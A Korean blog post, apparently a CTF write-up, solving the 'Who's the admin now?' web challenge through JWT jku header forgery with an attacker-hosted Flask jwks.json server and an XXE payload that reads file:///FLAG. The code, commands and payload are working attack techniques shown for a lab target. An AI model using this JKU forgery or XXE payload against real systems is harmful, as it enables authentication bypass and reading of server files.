hacktheon-CTF-Who's the admin now?

mercure·2025년 4월 26일

CTF

목록 보기
1/3

처음 화면

회원가입 후 로그인 시 burpsuite를 통해 뜯어보니
1. Post -> Id,pw
2. Get -> JWT
이후 JWT 검증하여 ADMIN이 아니면 로그인이 안되게 막아놨다.

로그인시 발급되는 JWT

여기서 jwt를 분석하니 localhost/jwks.json 경로에서 가져왔다. 보통 JWT 헤더 뜯어보면 alg랑 뭐 해서 두개 밖에 없었던 걸로 기억하는데 5개나 들어있는 것으로 보아 위조하라고 냅둔것 같다. 이걸 공격자 서버로 수정하면 jwt를 공격자가 발급할 수 있을것 처럼 보였다. 따라서 공격자 서버 설정부터 했다.

1.공격자 서버 설정

구름에서 진행하였다. python3 모듈 없는건 pip3로 설치하면 된다.

openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

실행후 public.pem , private.pem 생성

get_n_e.py

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64

def base64url_uint(val):
    return base64.urlsafe_b64encode(val.to_bytes((val.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('ascii')

with open("public.pem", "rb") as f:
    pub = serialization.load_pem_public_key(f.read(), backend=default_backend())

numbers = pub.public_numbers()
n = numbers.n
e = numbers.e

print("n =", base64url_uint(n))
print("e =", base64url_uint(e))

n,e값 얻어 app.py 에 넣는다.

app.py

from flask import Flask, jsonify

app = Flask(__name__)

@app.route("/jwks.json")
def jwks():
    return jsonify({
        "keys": [
            {
                "kty": "RSA",
                "kid": "server-key",  
                "use": "sig",
                "alg": "RS256",
                "n": "xPlLZwyZhLRF5_5r-H-Xq18lLKCdA7dYvp-kBdhxF1GXUcaaa22qCQEhH2rfQ112E4pdGeR04_7VMY8AYivhQU6fnLYhwH2OFAPk33Fr6k3nPiJ1EnuH1hZteZozPvzrqQfsILoDjB9fDM6aWLqN_tpQphUvGAjUOeSNWk6TwUlIXTfAfvHzhb99ighUpcz19fgb9XYCbtRLBoNcCV_wTwXjSzrlMydP8GDPtzVDQJaAvFgT11ODcXOklqAb8KuvKBKxjsvz0ESQOf5WYcQL6Y70Uy9JihwJzYxxs1IGBDYdA3N9p2dJFRmr8jZ3iLMfwvnlo5-0PWlj0EX9IW92bQ",
                "e": "AQAB"  
            }
        ]
    })

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010

구름 포트포워딩 및 실행 URL 셋팅을 해야한다.

위 셋팅후 실행

python3 app.py

그리고 jwt를 수정한다. RSA 암호방식이기에 구름의 private key를 확인해 아래의 사이트에 넣으면 입맛대로 jwt를 수정할 수 있다.

JWT.IO

2.JKU FORGEY

우선 이 서버는 JWT 헤더부분에 jku 가 노출되어 있으며 이를 수정하면 그대로 백엔드에서 수정한 주소에서 공개키를 가져와 서명을 검증하는 방식인 것 같다. 따라서 공격자 PC에서 JWT를 발급하도록 jku를 수정한다.

jku: {attacker_ip/jwks.json}

그러고 user role admin으로 수정한다

"user_role": "admin"

그럼 로그인이 된다.

그래서 이제 /FLAG를 읽어야하는데 , 서버 파일을 읽을 수 있는 취약점이 있나 대쉬보드를 뒤적이다보니, profile로 들어가면 아래와 같은 에러가 출력된다.

아마 userprofile에서 xml만을 읽는 것 같은데 XML 파싱할 때 외부 엔티티(External Entity)를 읽는 공격인 XXE를 활용 할 수 있을 것 같다.

JWT cty : jwt/xml

3. XXE (XML External Entity)

활용하여 flag 도출하였다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///FLAG">
]>
<user>
  <user_id>ges@ges</user_id>
  <username>&xxe;</username>
  <role>user</role>
</user>
  1. 앞서 정의된 xxe에 /FLAG의 내용을 저장한다
  2. username에서 xxe를 호출하여 파싱 시 /FLAG파일을 읽어오도록 한다.

그럼 NAME에서 FLAG를 확인 할 수 있을 것이다.

아쉽지만 본선 진출은 못할거같아서 롸업제출은 포기하고 5시 반까지 웹에서 한 개 풀고 바로 블로그에 썻다...
CTF 하루종일하고 한문제 푼거 자랑하고 싶은데 참고 공부나 해야겠따.

profile
하루에 한걸음씩

0개의 댓글